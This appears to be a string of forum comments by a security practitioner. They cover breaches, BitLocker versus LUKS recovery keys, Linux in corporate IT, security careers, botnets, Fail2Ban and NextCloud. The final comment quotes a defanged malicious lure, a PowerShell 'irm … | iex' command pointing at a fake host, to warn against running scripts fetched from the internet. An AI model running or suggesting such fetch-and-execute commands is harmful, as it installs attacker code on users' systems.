The Pentagon stated that it currently has no evidence that the stolen data has been used for criminal purposes. Those affected are being offered identity protection and credit monitoring services.

On the upshot, this was probably just China updating the SF-86 database they took from OPM back in 2015; so, they aren’t likely to use it to issue credit cards. The downside is that organizations are still treating identity protection and credit monitoring services as anything other than complete and utter bullshit. We really need to overhaul the SSN system to something more modern to be able to deal with the fact that everyone’s SSN has long since been leaked. Especially when we have the idiots like the DOGE employees dumping this sort of thing on publicly accessible servers.

the thing is in the video tutorial he’s using password only(no tpm) and it still requires you to create a recovery key

Never watched the video, so I’m just answering for the general case. Even with just a password, the recovery key serves a similar function. It’s a fail-safe if the primary protector is lost. It’s entirely possible that the password being setup will be given to a user and IT will still need a way in, if that password gets lost/changed.

on Linux with luks, it never asked for me to save a recovery key.

Ok, and? Yup, LUKS uses different defaults. Don’t get too caught up on “Linux does it this way”. Both ways have valid reasons and the Microsoft developers and LUKS developers picked different defaults. If you want, you can create a recovery.key file on LUKS. If you are using TPM as your primary protector, I’d actually recommend you follow Microsoft’s lead on this. If that TPM chip (or the motherboard it’s attached to) dies, you’re kinda fucked. If you are using a password, this is less of an issue. assuming you have that password stored safely somewhere not on that system.

Seems Just fine for a Warforged Gunslinger.

As for the question about whether or not a warforged gunslinger is the right character for a D&D campaign is an entirely different question.

It’s a design decision and one which is probably about right for many situations. TPM chips are not perfect, and there are a lot of situations which can cause them to fail or the hardware around them can fail (e.g. the motherboard). With the end result being that the data would be rendered unreadable. So a recovery key is a trade-off between confidentiality and accessibility.

The design of the recovery key itself is also fairly good as a backup protector goes. The key is long and complex enough that brute forcing it is hard enough and would require long enough that it is functionally impossible. If your concern is that the recovery key could leak, the easy answer is “don’t write it down”. You could simply choose not to store it and while it would be a theoretical attack on the confidentiality of your data, practically it’s a non-issue. But, for those folks who feel that having an unlock code written down somewhere is an acceptable risk while mitigating the risk of the TPM breaking and rendering the disk unreadable, it’s a good solution. And I can personally attest to the usefulness in a corporate environment. People do dumb things with laptops all the time. And no matter how much we might tell people to use the network/cloud storage which is off the system and backed up regularly, there is always a parade of people whose system just died and contains the only copy of important project data.

It’s important to remember that security is a long series of compromises between confidentiality, integrity and accessibility. All three are important. And you have to find the spot in the nexus of those factors which works for your situation.

I’ve been on several sides of this. As a sysadmin supporting a Windows dominated environment integrating Linux, as a user who wants to use Linux in a Windows dominated environment and in security trying to secure an environment with both Windows and Linux. In short, it depends on the use case, environment and the users’ tolerance for problems.

The first question which will come up is, “why?”. If you don’t have a good business use case, you should expect to be basically told to go get fucked. I realize that this seems like IT sticking their head in the sand, and it kinda is. But, also realize that you are asking them to take on extra work for nothing more than your own self edification. I have yet to meet an IT department which is so overflowing with time and resources that they want to take on new work which isn’t required. Even with the most basic use cases for Linux, IT is going to need to have resources dedicated to support, maintenance and oversight. Things like asset management, patching and license management don’t go away on Linux systems. Sure, the OS may not have a license to worry about (unless it’s RHEL or Ubuntu Pro), but there may be other software installed which is licenses and that license may be a different SKU on Linux. Then there are issues with ensuring IdM works on that flavor of Linux and supporting it when it breaks.

Along side that “why” question, be ready to answer the “why not” questions. Why not a Windows based alternative? Why not Cygwin/WSL? Why not a Linux based server that you SSH into from your main Windows desktop? Especially with a lot of workloads moving to the cloud, I’ve seen the mainframe model start to return, just with Linux instead of Unix/AIX this time. This sort of thing centralizes a lot of the IT headaches into a single host (or handful) which can much more easily be centrally managed. And that’s a theme to keep in mind, IT departments love centralized management. This is one of those places where Linux kinda lags Windows. Centralized management does work on Linux. It’s one of the reasons RHEL is all over the place, Satellite is like crack for IT departments dealing with Linux. But, a lot of centralized management looks like a folder full of Ansible scripts. With proper code management, it can work quite well. Keep in mind that many folks in IT are not coders and for a handful of Linux systems, dedicated resources which can handle that may not be in the budget (in the end, everything is about money).

Ok, so you have your “why” and are ready for “why not”. Let’s talk about the security stack. No, just because it’s Linux doesn’t mean you can ignore security. I’ve personally worked cases where Linux boxes got popped. And from the user side, things like ClickFix attacks are starting to crop up targeting Linux desktops. So, does your company’s software stack support Linux? This has, thankfully, started to be more common. Go back a decade and the answer was almost certainly, “no”. Partly because Linux wasn’t that common and partly because idiots believed Linux was fully secure by design. Anyone who believes that today shouldn’t be allowed to work on anything more advanced than an Etch-a-Sketch. With the dominance of Linux in the cloud, attackers are targeting Linux and your system will need to be ready for it. If your company’s security stack doesn’t support Linux, and/or your security department doesn’t have the expertise to monitor and respond to issues on Linux systems, you might find them resistant. Thankfully, that whole “Linux dominating the cloud” thing has started pushing security teams towards supporting Linux. And more advanced security teams often utilize Linux themselves in some capacity. So, that could ease your path a bit.

The final bit might be your tolerance for pain. If you’re out there on the bleeding edge, trying to be the first Linux system in an all Windows environment, expect things to break. No matter how well planned the rollout, the fact that the IT department hasn’t done this before means that they are going to miss stuff. It happens. If your system becomes a common source of trouble tickets, IT leadership may try to pull the plug. If you turn out to be a high maintenance user, you might find IT slow to respond and unwilling or unable to help with things aren’t working quite right. Some level of self-help and patience with a help desk which doesn’t have Linux expertise are going to be necessary. You really don’t want to become the phone number which pops up on the Help Desk queue and all the analysts scramble to avoid taking the call.

To conclude this long ramble. Linux systems in a Windows dominated environment is getting easier. That “the cloud” basically runs on Linux has gone a long way into getting Linux integrated into Windows environments. Microsoft has been forced to make their tools actually work with Linux, rather than the abomination which was setting up POSIX uids in a Windows 2000/2003 Active Directory domain. But, a lot of IT departments will still want to treat Linux as a server OS and not a desktop OS. MS Office, Teams and the rest of their communications and collaboration software still treats Linux as a pariah. Integrating and supporting Linux alternatives means budget and resources which aren’t dedicated to the core business. And that’s really what IT is going to care about.

This article reads like AI slop and/or a thinly veiled advertisement for a vulnerability scanning products.
Yup, configuration drift happens and you should be scanning your assets constantly. This was news circa 2006. A couple decades on, your systems are regularly being scanned for vulnerabilities. Ideally, you’re doing this yourself as well.

More like, the business are whining that security is hard and expensive; so, they shouldn’t be required to do it.

While I’m no fan of checkbox security, CMMC was kinda like the sign in front of rollercoasters. Except instead of a minimum height, CMMC was saying, “your network must be at least this secure to hold CUI”.

Seriously, I dealt with this stuff for years as a contractor for the US FedGov. It’s not rocket science. It’s not even hard. But, it does require that you document your shit and do a bit better than accepting the defaults. It won’t make your network secure. But if you are struggling to meet the basic controls, I guarantee that your security is bad.

Given how often it pops up in Office applications now, I just refer to it as “clippy”.

Did anyone have a bet on “Polymarket gets hacked?” Time to cash in.

Just to set the table, I’ve been working in IT for around 25 years. I’ve spent time at help desk, systems administration and cybersecurity. I’m now in a senior technical position, having managed to avoid being a people manager by dint of being a good enough technical worker and an honest conversation with my own managers telling them I do not want to be a manager. I don’t actually have a degree, but that’s a choice I would NOT recommend to anyone. Especially in today’s world with every paper mill churning them out. I also am regularly part of the interview and hiring process for cybersecurity hires at my current company and previous ones as well. Yes, my unedu-macated arse is involved in the decision of whom to hire.

My advice for anyone looking at Cybersecurity as a career path would be “it depends”.

If you want to be on the technical side of things, I’d argue for the Computer Science degree. If you can, take some of the Cyber Security classes as electives, but the main focus should be on understanding how systems and programs work. One of the reasons I’m able to avoid management duties is that I have a rather deep understanding of how IT and systems work. And I can usually figure out the new stuff pretty fast. Much of that comes from my own learning about systems and programming.

If you are more interested in the auditing and compliance side of cybersecurity, then the Cyber Security degree is likely to be more useful. The folks in compliance need to have a solid foundation in the language of compliance models and dealing with the “joys” of audits. They usually aren’t going to be the folks digging into the deep technical details, but they do need to know enough to ask the right questions when a program manager starts trying to bullshit them about why a high criticality security control is “N/A”. And they need to understand why that control is important. The folks I’ve interviewed with Cyber Sec degrees seem to have this sort of thing down.

No matter which way you go, I’d highly recommend getting some time in traditional IT. The folks we have been hiring usually have a career path kinda similar to my own: some background in IT (often a year or three at hell desk and possibly time as a sysadmin) followed by a move into cybersecurity. We do have a couple junior folks who didn’t spend time IT and they tend to have odd gaps in their knowledge which hold them back. We really want people whom we don’t have to explain to what an ARP table is and why you might want to pull one from a switch. Build some systems and get a grasp on why the sysadmins might make some of the choices they do. Walking a mile in the shoes of IT can really help you make sense of the alerts they generate.

Lastly, I’d give the MSc a miss for the time being and go get some experience. There is nothing quite like being in the trenches to really put the pieces together in your mind and understand why organizations might make the choices they make. Security is almost never job #1 and that leads to a lot of compromises. Learning to feel those out and communicate with folks who don’t want to do things “the right way” is an important skill. And it’s not one you’re going to learn from a book. That said, if you do have room during your degree to take a public speaking course, take it. Especially as a senior technical leader, I do a lot of speaking to people. I have directors and C-level folks randomly asking me questions. And I spend a lot of time in meetings and on calls with IT and business folks. While it’s very true that “Hell is other people”, you’re gonna spend a lot of time in that fire.

Once you have a few years in, that’s the time to get the MSc. Especially if you want to move onto management track. At that point, go get a higher degree in Business Administration. Unless your goal is in research or teaching, a higher degree in either CS or Cyber is basically a waste. Once you are far enough along the technical track, companies are looking at experience. Sure, the higher degree might be a differentiator if you are up against similarly skilled folks. But that becomes less of an issue the further you go. I don’t think I have been asked about my lack of a degree in an interview in the last decade. No one cares when you can talk to all the issues they are looking to hire you for.

No matter what you choose, never stop learning. This is a career where what you learned ten years ago is both completely irrelevant and also oddly relevant. Some of my earliest time at a computer was learning to program in BASIC. And while that’s not something I ever expect to do again, I still see patterns I learned from that all over the place today. So, keep learning, even after you get handed that fancy bit of paper. It’s both fun and pays dividends in this field.

This is a good reminder that the “S” in “Meta” stands for “Security”.

All of the above.

Is it that ISPs are being paid by tech-bros to assign them these IPs?

Bullet Proof Hosting is a thing. Some ISPs basically advertise to criminals about their ability to evade take down orders and unwillingness to work with law enforcement. So, some infrastructure ends up on these devices. However, the IP ranges from these services often get discovered and are added to public reputation and block lists.

Along side this, cloud providers are pretty bad about policing their networks. On my own home server, I have blocked much of the Digital Ocean IP space, as it’s home to a lot of scanners, bots and other malicious traffic.

Is it that residential devices have been hacked /contain malware that does this?

This happens, a lot. The Mirai Botnet thrived on compromised home routers. People are pretty bad at updating their devices and many SOHO routers ship with some pretty bad vulnerabilities. It’s only a matter of time until someone finds an unpatched or misconfigured router and adds it to a botnet. People also get phished or install trojans all the time, adding to botnets. Darknet Diaries just had a fantastic episode on the Bayrob malware, part of which was turning infected machines into a custom botnet.

Is it trivial for companies to assign themselves residential IPs?

Some ISPs just look the other way when they get reports of malicious activity on their network. Also, attackers can force a DHCP refresh and just get a new IP when the old one seems blocked. Getting one in the first place is often as simple as signing up for service and/or compromising someone’s home PC and using it as a relay.

Paid volunteers are doing this for AI companies?

This probably happens. Afterall, we’ve already seen a company selling an AI product which was just workers in India.

Obviously this is a problem because one can rotate / cycle through residential IPs and if I aggressively block each offender in my logs permanently, then the next person assigned this IP who may be a legitimate user will be unable to access my site.

Look into Fail2Ban. This program monitors your logs and will ban IPs automatically based on criteria you set. This can include specific HTTP requests in your web logs. The ban can be permanent or can be time limited. For example, I have a container running in a cloud provider which I use to proxy requests through my ISP’s CGNAT setup. There is an NGinx reverse proxy running there and I have fail2ban watching the access log. If certain request strings are seen, the sending IP gets dumped in a permanent jail. I also have it scanning the sshd logs and banning IPs which fail to login 3 times within a short period.

It’s far from a silver bullet, but it’s something which should be running on any web facing system. Attackers will always be rattling the door knobs. There is no reason to let them keep rattling away.

Thanks for sharing.

But, please stop using the curl command piped into a terminal pattern. Malicious actors have been abusing the fuck out of this pattern ever since the idiots at Anthropic decided that would be the official install pattern for Claude. I’ve been cleaning up infections based on people just blindly running shit like that constantly over the last couple months.

Folks, never run a random script from the internet, without being sure what you are actually about to run. If using AUR packages is considered risky. Random scripts being piped into a terminal ranks right up there with sticking your dick in a blender.

There is a reason I always say, “backslash, the one without the question mark”.

Looks like a large segment of the Lemmy user base needs to patch.

You’d expect it to happen ~5% of the time on a fair die. But, I’d be willing to bet a lot of dice aren’t actually fair and so the results get weighted.

The just stopped working was the client stopped syncing?

The client doesn’t seem to detect new photos as they are created/taken. If I manually upload an image from my photos folder, it syncs just fine. Files in other folders seem to sync just fine. But, photos and videos just never even try to sync.

NextCloud decided to stop allow private made certificates with its client in 2025 and its what made me switch.

This hasn’t been an issue for me. I pay for a domain and have a certificate issued by Let’s Encrypt. The only certificate errors I get are when I refresh the certificate every 6 months, and that’s just the client asking me if I want to trust the new certificate.

Syncthing

I had looked into this a while back, but it seemed to be more of a point to point solution and not a client-server system. I was aiming to have an authoritative server with everything and clients (both phone and desktop) able to pull the needed/request files. I also like the ability to share via a web link when needed. Am I wrong in that understanding?

I currently use NextCloud, but I have been looking to move away from it. My main use case is for syncing photos and videos to the cloud from my phone (Android) and this used to work flawlessly. But, some time in early 2025, it just stopped working. I can still manually upload files and sync still works for other folders (e.g. Documents) just fine. But, photos and videos just won’t sync automatically. Not sure if there are other options which would work better, but NextCloud on Android just seems to be broke.

So, they paid the attackers. Sure, the attackers may not sell or dump the data publicly, but you can bet your arse that they have a copy and will use it in future phishing campaigns or other scams.

Jumping over to the original report:

While the canonical command is “irm https[:]//claude[.]ai/install.ps1 | iex”, the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

Whatever artificially intelligent person at Anthopic decided that the official install method for Claude Code should be an irm piped to an iex in PowerShelll should be dragged out behind the same woodshed as Old Yeller. That is basically screaming “malicious code” at security tools. And it’s training developers that blindly running code from the internet is a-ok. It’s no wonder I’ve already seen exactly this sort of thing (with a different URL) happen in my environment. It’s like the AI companies are trying to make security worse.